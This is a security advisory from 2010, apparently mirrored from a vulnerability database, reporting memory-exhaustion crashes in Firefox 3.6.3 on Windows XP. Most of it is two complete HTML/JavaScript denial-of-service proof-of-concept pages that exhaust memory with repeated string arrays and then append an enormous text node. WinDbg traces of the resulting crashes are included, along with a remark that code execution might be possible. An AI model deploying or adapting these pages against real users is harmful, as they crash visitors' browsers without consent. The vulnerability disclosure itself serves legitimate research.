Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities

2010-05-2500:00:00
Root
www.seebug.org
0.151 Low
EPSS
Percentile
95.3%
JSON
No description provided by source.

                                                0x01. Description:
Memory exhaustion of Firefox 3.6.3 (latest) &lt;= makes firefox can't make
texts into body element and then it crashed.
( raise exception using PoC #1, lower memory area read access violation
using PoC #2 )
Ofcourse an variation PoC made NULL Pointer deref so may also could be code
execution ( 0.1 % ). :-)

URL: http://www.x90c.org/advisories/firefox_3.6.3_crash_advisory.txt

Vendor Status: unpatched. ( to now... doesn't exists any reliable exploit
so i disclosed to bugtraq firstly )

0x02. Proof of Concepts:

[PoC #1 - firefox_3.6.3_dos_poc_1.htm] --
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;SCRIPT LANGUAGE=&quot;javascript&quot;&gt;

// Mozilla Firefox &lt;= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #1
//
// o Summary:
// After loading this PoC, about 40 seconds later triggered.
// Crashes are occured at a same location.
//
// --
// 7c7e2af5 ff1510157d7c call dword ptr
[kernel32!_imp__RtlRaiseException (7c7d1510)]
// ds:0023:7c7d1510={ntdll!RtlRaiseException (7c93e528)} ( raised
)
//
// ##### 100% same below crash. exception raised. #####
// (f34.850): C++ EH exception - code e06d7363 (first chance)
// (f34.850): C++ EH exception - code e06d7363 (!!! second chance !!!)
// eax=0012aa58 ebx=01000121 ecx=00000000 edx=781d7ba8 esi=0012aae0
edi=2f900008
// eip=7c7e2afb esp=0012aa54 ebp=0012aaa8 iopl=0 nv up ei pl nz na
pe nc
// cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
// kernel32!RaiseException+0x53:
// 7c7e2afb 5e pop esi
// --
//
// Call Stack:
// 00 0012aa28 7815c54b e06d7363 00000001 00000003
kernel32!RaiseException+0x53
// WARNING: Stack unwind information not available. Following frames may be
wrong.
// 01 0012aa60 78164f33 0012aa70 781caa24 781ac11c
MOZCRT19!CxxThrowException+0x46
// 02 0012aa78 100cd464 08c00060 0012b1a0 21500008 MOZCRT19!operator
new+0x73
// 03 00000000 00000000 00000000 00000000 00000000
xul!gfxWindowsFontGroup::MakeTextRun+0x54

// Trace:
// MOZCRT19!operator new:
// 78164ec0 8b442404 mov eax,dword ptr [esp+4]
// 78164ec4 83ec0c sub esp,0Ch
// 78164ec7 50 push eax
// 78164ec8 e8134bfdff call MOZCRT19!malloc (781399e0)
// ...
// 78164f26 c74424081cc11a78 mov dword ptr [esp+8],offset
MOZCRT19!exception::`vftable'+0xc14 (781ac11c)
// 78164f2e e8d275ffff call MOZCRT19!CxxThrowException
(7815c505) ; Throw Exception.
// 78164f33 83c40c add esp,0Ch
// 78164f36 c3 ret
//
// MOZCRT19!CxxThrowException:
// 7815c505 55 push ebp
// 7815c506 8bec mov ebp,esp
// 7815c508 83ec20 sub esp,20h
// ...
// 7815c545 ff15e4911a78 call dword ptr [MOZCRT19!modf+0x87d4
(781a91e4)] ds:0023:781a91e4=
// {kernel32!RaiseException (7c7e2aa9)} ; Raise Exception!
//
// o Impact: DoS ( Exception Raise )
//
// o Tested on:
// - MS Win XP SP3 (ko)
// - Mozilla Firefox 3.6.3 (Win32) (ko)
// ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 )
//
// P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's
patched on Firefox 3.6
// so this is *not the same vulnerability*!
//
// [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin
Rad Pop.
// - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571
//
// o Discovered by x90c in INetCop(c) Security during analysis.
// o Discovered date: 2010.03.04
// o Personal homepage: http://www.x90c.org
//
// Greets to Xpl017Elz(x82), rebel
//

function append_text_into_body()
{
var p1 = document.getElementById('p1');
var Text1 = &quot;&quot;;
var TextNode = null;

// Trigger! MakeFont... into p element on body element.
for(var i = 0; i &lt; 0x700000 / 4; i++)
{
Text1 = Text1 + &quot;AAAA&quot;;
}

TextNode = document.createTextNode(Text1);
p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make
Texts it caused an crash.
}

var arr1, arr2, arr3, arr4, arr5;
var a = 1;

var timer;

function fill_all_memory()
{
var chunk = unescape(&quot;%u4141%u4141&quot;);
var i = 0;

if( a &gt; 5 )
{
a++;
}
if(a &gt;= 30)
{
append_text_into_body();
}

while(chunk.length &lt;= 0x400000)
{
chunk = chunk + chunk;
}
chunk = chunk + chunk + chunk;
chunk = chunk.substring(0, chunk.length);

if(a == 1)
{
arr1 = new Array();
for(i = 0; i &lt; 0xd0; i++)
{
arr1[i] = chunk;
}
a = 2;
}
else if(a == 2)
{
arr2 = new Array();
for(i = 0; i &lt; 0xd0; i++)
{
arr2[i] = chunk;
}
a = 3;
}
else if(a == 3)
{
arr3 = new Array();
for(i = 0; i &lt; 0xd0; i++)
{
arr3[i] = chunk;
}
a = 4;
}
else if(a == 4)
{
arr4 = new Array();
for(i = 0; i &lt; 0xd0; i++)
{
arr4[i] = chunk;
}
a = 5;
}
else if(a == 5)
{
arr5 = new Array();
for(i = 0; i &lt; 0xd0; i++)
{
arr5[i] = chunk;
}
a = 6;
}
}

function try_fill()
{
fill_all_memory();
setTimeout(&quot;try_fill();&quot;, 500);
}

&lt;/SCRIPT&gt;
&lt;/HEAD&gt;

&lt;BODY onload=&quot;try_fill();&quot;&gt;
&lt;P id='p1'&gt;&lt;/P&gt;
&lt;/BODY&gt;
&lt;/HTML&gt;

&lt;!-- [ eoc ] --&gt;


[PoC #2 - firefox_3.6.3_dos_poc_2.htm] --

&lt;HTML&gt;
&lt;HEAD&gt;
&lt;SCRIPT LANGUAGE=&quot;javascript&quot;&gt;

// Mozilla Firefox &lt;= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #2
//
// o Summary:
// After loading this PoC, about 40 seconds later triggered.
// Crashes are occured at a same location.
//
// --
// ##### almost 99% below crash #####
// (f0c.8b4): Access violation - code c0000005 (first chance)
// First chance exceptions are reported before any exception handling.
// This exception may be expected and handled.
// eax=0012aab8 ebx=00002226 ecx=000042a4 edx=000000ee esi=00003ce8
edi=000000ee
// eip=73f937cd esp=0012a3fc ebp=0012a3fc iopl=0 nv up ei pl zr na
pe nc
// cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010246
// USP10!DoubleWideCharMappedString::operator[]+0x1f:
// 73f937cd 0fb70448 movzx eax,word ptr [eax+ecx*2]
ds:0023:00133000=???? ( beside stack area and unmapped )
// --
//
// 0:000&gt; kp
// ChildEBP RetAddr
// 0012a3fc 73f99a42 USP10!DoubleWideCharMappedString::operator[]+0x1f
// 0012a4cc 73f92d34 USP10!ScriptTokenize+0x91
// 0012a4f4 100efc30 USP10!ScriptItemize+0x42
// WARNING: Stack unwind information not available. Following frames may be
wrong.
// 0012a5a0 7813807d xul!gfxWindowsFontGroup::GetUnderlineOffset+0x4cb0
// 00000000 00000000 MOZCRT19!expand+0x37d
//
// o Impact: DoS ( may also code execution )
//
// o Tested on:
// - MS Win XP SP3 (ko)
// - Mozilla Firefox 3.6.3 (Win32) (ko)
// ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 )
//
// P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's
patched on Firefox 3.6
// so this is *not the same vulnerability*! and this makes same crash with
[2]
//
// [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin
Rad Pop.
// - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571
//
// [2] All browsers 0day Crash Exploit ( Inj3ct0r Team )
// - http://www.exploit-db.com/exploits/12491
//
// o Discovered by x90c in INetCop(c) Security during analysis.
// o Discovery date: 2010.03.04
// o Personal homepage: http://www.x90c.org
//
// Greets to Xpl017Elz(x82), rebel
//

function append_text_into_body()
{
var p1 = document.getElementById('p1');
var Text1 = &quot;&quot;;
var TextNode = null;

// Trigger! MakeFont... into p element on body element.
for(var i = 0; i &lt; 0x700000 / 4; i++)
{
Text1 = Text1 + &quot;AAAA&quot;;
}

TextNode = document.createTextNode(Text1);
p1.appendChild(TextNode); // Memory Exhaustion makes FireFox can't make
Texts it caused an crash.
}

var a = 1;

var timer;

function fill_all_memory() // This function's variation can makes an null
pointer deref without append_text_into_body() calling.
{
var chunk = unescape(&quot;%u4141%u4242&quot;);
var i = 0;

append_text_into_body();

while(chunk.length &lt;= 0x400000)
{
chunk = chunk + chunk;
}
chunk = chunk + chunk + chunk;
chunk = chunk.substring(0, chunk.length);
}

function try_fill()
{
fill_all_memory();
// this poc makes 99% almost crashed same location as below.
// 10: USP10!DoubleWideCharMappedString::operator[]+0x1f:
// 73f937cd 0fb70448 movzx eax,word ptr [eax+ecx*2]
ds:0023:00133000=????
// 100: ''
// 150: ''
// 200: ''
// 300: ''
// 500: ''
// 1000: ''
// 5000: ''
setTimeout(&quot;try_fill();&quot;, 10);
}

&lt;/SCRIPT&gt;
&lt;/HEAD&gt;

&lt;BODY onload=&quot;try_fill();&quot;&gt;
&lt;P id='p1'&gt;&lt;/P&gt;
&lt;/BODY&gt;

&lt;/HTML&gt;

&lt;!-- [ eoc ] --&gt;